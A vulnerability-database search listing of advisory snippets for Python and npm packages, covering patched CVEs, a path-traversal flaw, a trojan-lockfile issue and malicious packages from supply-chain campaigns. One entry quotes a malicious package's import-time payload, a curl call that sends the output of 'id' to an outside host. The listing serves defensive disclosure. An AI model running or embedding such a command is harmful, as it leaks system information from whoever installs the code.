10735 matches found
ROOT-APP-PYPI-CVE-2026-48776 CVE-2026-48776 in rootio-langgraph-sdk - Patched by Root
Root has patched CVE-2026-48776 in the rootio-langgraph-sdk package for Root:PyPI. Multiple fixed versions available...
GuardDog Path Traversal Vulnerability Leads to Arbitrary File Overwrite and RCE
SummaryA path traversal vulnerability exists in GuardDog's safeextract function that allows malicious PyPI packages to write arbitrary files outside the intended extraction directory, leading to Arbitrary File Overwrite and Remote Code Execution on systems running GuardDog.CWE: CWE-22 Improper...
ROOT-APP-PYPI-CVE-2026-48990 CVE-2026-48990 in rootio-joserfc - Patched by Root
Root has patched CVE-2026-48990 in the rootio-joserfc package for Root:PyPI. Multiple fixed versions available...
PYSEC-2026-1763 PDM Trojan Lockfile
Summary It's possible to craft a malicious pdm.lock file that could allow e.g. an insider or a malicious open source project to appear to depend on a trusted PyPI project, but actually install another project. Details Project foo can be targeted by creating the project foo-2 and uploading the fil...
PDM Trojan Lockfile
SummaryIt's possible to craft a malicious pdm.lock file that could allow e.g. an insider or a malicious open source project to appear to depend on a trusted PyPI project, but actually install another project. DetailsProject foo can be targeted by creating the project foo-2 and uploading the file...
ROOT-APP-PYPI-CVE-2026-25528 CVE-2026-25528 in rootio-langsmith - Patched by Root
Root has patched CVE-2026-25528 in the rootio-langsmith package for Root:PyPI. Multiple fixed versions available...
ROOT-APP-PYPI-CVE-2026-48804 CVE-2026-48804 in rootio-python-socketio - Patched by Root
Root has patched CVE-2026-48804 in the rootio-python-socketio package for Root:PyPI. Multiple fixed versions available...
3m (>=0.1.0, <=0.1.3), 3tears-agent-identity (>=0.15.0, <=0.33.0) +4249 more potentially affected by CVE-2026-14742 via langgraph (>=0.0.15, <=1.2.11)
langgraph PYPI version =0.0.15, =0.1.0, =0.15.0, =0.15.0, =0.14.0, =0.14.0, =0.14.0, =0.14.0, =0.14.0, =0.14.0, =0.14.0, =0.18.0, =0.1.0, =0.1.6 - a2a-client-handler 0.1.0 - a2a-langgraph 0.1.0 and more Source cves: CVE-2026-14742 Source advisory: SNYK:PYTHON-LANGGRAPH-17817813...
PYSEC-2026-607 Malicious code in pantheon-agents (PyPI)
Part of the "Hades" wave of the Shai-Hulud supply-chain campaign. On 2026-06-08, malicious phantom releases of pantheon-agents were published to PyPI using stolen credentials. The package executes a bundled JavaScript payload via the Bun runtime on import that harvests and exfiltrates credentials...
ROOT-APP-PYPI-CVE-2026-28222 CVE-2026-28222 in rootio-wagtail - Patched by Root
Root has patched CVE-2026-28222 in the rootio-wagtail package for Root:PyPI. Multiple fixed versions available...
ROOT-APP-PYPI-CVE-2026-44201 CVE-2026-44201 in rootio-wagtail - Patched by Root
Root has patched CVE-2026-44201 in the rootio-wagtail package for Root:PyPI. Multiple fixed versions available...
ROOT-APP-PYPI-CVE-2026-28223 CVE-2026-28223 in rootio-wagtail - Patched by Root
Root has patched CVE-2026-28223 in the rootio-wagtail package for Root:PyPI. Multiple fixed versions available...
hermes-next (>=0.1.0, <=0.7.1), openviking-curator (0.7.0) +1 more potentially affected by CVE-2026-13507 via openviking (>=0.3.24, <=0.4.17.1)
openviking PYPI version =0.3.24, =0.1.0, =0.7.1 - openviking-curator 0.7.0 - vikingbot 0.1.3 Source cves: CVE-2026-13507 Source advisory: SNYK:PYTHON-OPENVIKING-17751095...
128autograder-ipython (1.0.0rc2), 3-04-2025-ttm (0.1.0) +6295 more potentially affected by CVE-2026-6658 via nbconvert (>=4.2.0, <=7.17.1)
nbconvert PYPI version =4.2.0, =0.5.0a0, =0.1.0, =1.0.3, =0.1.8, =0.1.0, =0.0.0, =1.0.0, =0.11.0, =0.11.2 and more Source cves: CVE-2026-6658 Source advisory: SNYK:PYTHON-NBCONVERT-17707798...
MAL-2026-6478 Malicious code in mi-test-99-tuapellido (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4b71b66c156e0a54b73b6dd2f2f9e994ac9c1ff9ab4d1f9689f1f930b3097f39 On every import, the package's top-level init.py runs os.system"curl http://6krddfbeqw0pisps3egdsofu9lfc33vrk.oastify.com -d $id". This unconditional...
MAL-2026-6432 Malicious code in rstreams-metrics (npm)
The rstreams-metrics npm package was compromised as part of the Miasma worm campaign targeting the LeoPlatform npm ecosystem. On June 24, 2026, 20 LeoPlatform packages were published within a 3-second window by a threat actor who had taken over the npm account czirker belonging to the LeoPlatform...
ROOT-APP-PYPI-CVE-2024-3651 CVE-2024-3651 in rootio-idna - Patched by Root
Root has patched CVE-2024-3651 in the rootio-idna package for Root:PyPI. Multiple fixed versions available...
ROOT-APP-PYPI-CVE-2026-45409 CVE-2026-45409 in rootio-idna - Patched by Root
Root has patched CVE-2026-45409 in the rootio-idna package for Root:PyPI. Multiple fixed versions available...